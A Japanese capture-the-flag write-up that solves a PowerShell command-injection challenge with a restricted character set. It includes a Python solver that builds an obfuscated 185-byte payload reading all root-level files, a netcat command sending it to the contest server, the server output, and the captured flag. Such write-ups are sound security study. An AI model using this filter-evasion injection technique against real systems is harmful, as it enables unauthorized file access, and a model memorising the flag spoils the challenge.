2026/3/16 投稿
競技中には解けなかった問題。終了後に他チームの解法のヒントを見て、自分なりに解き直した記録。運営側の想定解は200バイト以下とのことなので、そこまで縮めてみた。
PowerShellのechoコマンドへのインジェクション。
user_input = input("input> ")
if len(set(user_input)) > 7 or re.search(r"\w", user_input):
print("bye!")
exit(1)
subprocess.run(["pwsh", ..., "-Command",
f"$ExecutionContext.SessionState.Applications.Clear(); echo {user_input}"])
'(' .. ']' # ASCII 40~93のchar配列
レンジから文字を取り出すにはインデックスが要る。整数を7文字だけでどう組み立てるかが本題。
| 式 | 値 | 長さ |
|---|---|---|
| +'' | 0 | 3 |
| +'('[''] | 40 | 8 |
| +')'[''] | 41 | 8 |
| +'+'[''] | 43 | 8 |
| +'.'[''] | 46 | 8 |
| +'['[''] | 91 | 8 |
| +''''[''] | 39 | 9 |
7文字のcharsetでこのパターンを全部試すと、この9個が手に入る。これ以上はない。
| 数字文字 | インデックス | 対応する定数 |
|---|---|---|
| '0' | 43 | +'+'[''] (8文字) |
| '2' | 41 | +')'[''] (8文字) |
| '3' | 40 | +'('[''] (8文字) |
| '4' | 39 | +''''[''] (9文字) |
たとえば整数23は、digit '2'とdigit '3'を取り出して連結→変換する。
+('' + ('['..'(')[+')'['']] + ('['..'(')[+'('['']]) = +("23") = 23
上のやり方で作った整数同士の足し算も組み合わせて、0〜99の各整数について最短の表現を動的計画法で探索する。レンジは7文字×7文字の全42通り(昇順・降順)を試す。
echo (.( enc('G') + enc('C') )( enc('/') + enc('*') ))
各文字のエンコード結果:
| 文字 | ASCII | 使ったレンジ | index | 長さ |
|---|---|---|---|---|
| G | 71 | ')'..'[' | 30 | 59 |
| C | 67 | '+'..']' | 24 | 59 |
| / | 47 | ']'..'(' | 46 | 20 |
| * | 42 | '('..']' | 2 | 38 |
| 段階 | サイズ | やったこと |
|---|---|---|
| 素朴な実装 | 8,679 B | '('..']'レンジ1つ、oneを22個のtwoから構築 |
| 加算DP | 2,358 B | 数値の加法分解を全探索 |
| 定数導入 | 305 B | +'X'['']パターンで40,41,43,46を8文字で取得 |
| 平坦化+複数レンジ | 192 B | (a+b)の外側括弧を除去、'.'..']'等の低index化 |
| strip最適化 | 186 B | [...]内で不要な外側()を除去 |
| '['..'.'レンジ追加 | 185 B | digit 0-4のインデックスが定数に直撃 |
185バイトがこのアプローチの限界だと判断した。確認したこと:
#!/usr/bin/env python3
two = "(+(''+(']'..'.')[+'+'['']]))"
best = {
0: "+''", 2: two,
39: "+''''['']", 40: "+'('['']", 41: "+')'['']",
43: "+'+'['']", 46: "+'.'['']", 91: "+'['['']", 93: "+']'['']",
}
CHARS = [("''''", 39), ("'('", 40), ("')'", 41), ("'+'", 43),
("'.'", 46), ("'['", 91), ("']'", 93)]
RANGES = []
seen = set()
for s_str, s_val in CHARS:
for e_str, e_val in CHARS:
if s_val != e_val and (s_val, e_val) not in seen:
seen.add((s_val, e_val))
RANGES.append((f"{s_str}..{e_str}", s_val, e_val))
def get_idx(s, e, t):
lo, hi = min(s, e), max(s, e)
if not (lo <= t <= hi): return None
return t - s if s <= e else s - t
def strip(expr):
if not (expr.startswith('(') and expr.endswith(')')): return expr
inner = expr[1:-1]
d = 0; i = 0
while i < len(inner):
c = inner[i]
if c == "'":
i += 1
while i < len(inner) and inner[i] != "'": i += 1
elif c in '([': d += 1
elif c in ')]':
d -= 1
if d < 0: return expr
i += 1
return inner if d == 0 else expr
def digit_cands(d):
r = []
for rng, s, e in RANGES:
idx = get_idx(s, e, 48 + d)
if idx is not None and idx in best:
r.append((rng, strip(best[idx])))
return r
changed = True
while changed:
changed = False
for n in range(101):
prev = best.get(n)
for a in range(1, n):
b = n - a
if a in best and b in best:
c = best[a] + "+" + best[b]
if n not in best or len(c) < len(best[n]): best[n] = c
if 0 <= n <= 9:
for rng, si in digit_cands(n):
c = strip(f"(+(''+({rng})[{si}]))")
if n not in best or len(c) < len(best[n]): best[n] = c
if 10 <= n <= 99:
d1, d2 = n // 10, n % 10
for r1, si1 in digit_cands(d1):
for r2, si2 in digit_cands(d2):
c = strip(f"(+(''+({r1})[{si1}]+({r2})[{si2}]))")
if n not in best or len(c) < len(best[n]): best[n] = c
if best.get(n) != prev: changed = True
def enc_char(ch):
t = ord(ch)
cands = []
for rng, s, e in RANGES:
idx = get_idx(s, e, t)
if idx is not None and idx in best:
cands.append(f"({rng})[{strip(best[idx])}]")
return min(cands, key=len)
def enc(s):
return "+".join(enc_char(c) for c in s)
print(f"(.({enc('GC')})({enc('/*')}))")
$ python3 solve.py | nc 35.194.108.145 58930 input> The specified drive root "tmpfs" either does not exist, or it is not a folder. Get-Content: Unable to get content because it is a directory: '/app'. Please use 'Get-ChildItem' instead. Get-Content: Unable to get content because it is a directory: '/bin'. Please use 'Get-ChildItem' instead. Get-Content: Unable to get content because it is a directory: '/dev'. Please use 'Get-ChildItem' instead. Get-Content: Unable to get content because it is a directory: '/etc'. Please use 'Get-ChildItem' instead. Get-Content: Unable to get content because it is a directory: '/home'. Please use 'Get-ChildItem' instead. Get-Content: Unable to get content because it is a directory: '/lib'. Please use 'Get-ChildItem' instead. Get-Content: Unable to get content because it is a directory: '/media'. Please use 'Get-ChildItem' instead. Get-Content: Unable to get content because it is a directory: '/mnt'. Please use 'Get-ChildItem' instead. Get-Content: Unable to get content because it is a directory: '/opt'. Please use 'Get-ChildItem' instead. Get-Content: Unable to get content because it is a directory: '/proc'. Please use 'Get-ChildItem' instead. Get-Content: Unable to get content because it is a directory: '/root'. Please use 'Get-ChildItem' instead. Get-Content: Unable to get content because it is a directory: '/run'. Please use 'Get-ChildItem' instead. Get-Content: Unable to get content because it is a directory: '/sbin'. Please use 'Get-ChildItem' instead. Get-Content: Unable to get content because it is a directory: '/srv'. Please use 'Get-ChildItem' instead. Get-Content: Unable to get content because it is a directory: '/sys'. Please use 'Get-ChildItem' instead. Get-Content: Unable to get content because it is a directory: '/tmp'. Please use 'Get-ChildItem' instead. Get-Content: Unable to get content because it is a directory: '/usr'. Please use 'Get-ChildItem' instead. Get-Content: Unable to get content because it is a directory: '/var'. Please use 'Get-ChildItem' instead. tkbctf{PowerSheeeeoooooooooo AAAAE-A-A-I-A-U- JO-oooooooooooo AAE-O-A-A-U-U-A- E-eee-ee-eee AAAAE-A-E-I-E-A- JO-ooo-oo-oo-oo EEEEO-A-AAA-AAAA}
tkbctf{PowerSheeeeoooooooooo AAAAE-A-A-I-A-U- JO-oooooooooooo AAE-O-A-A-U-U-A- E-eee-ee-eee AAAAE-A-E-I-E-A- JO-ooo-oo-oo-oo EEEEO-A-AAA-AAAA}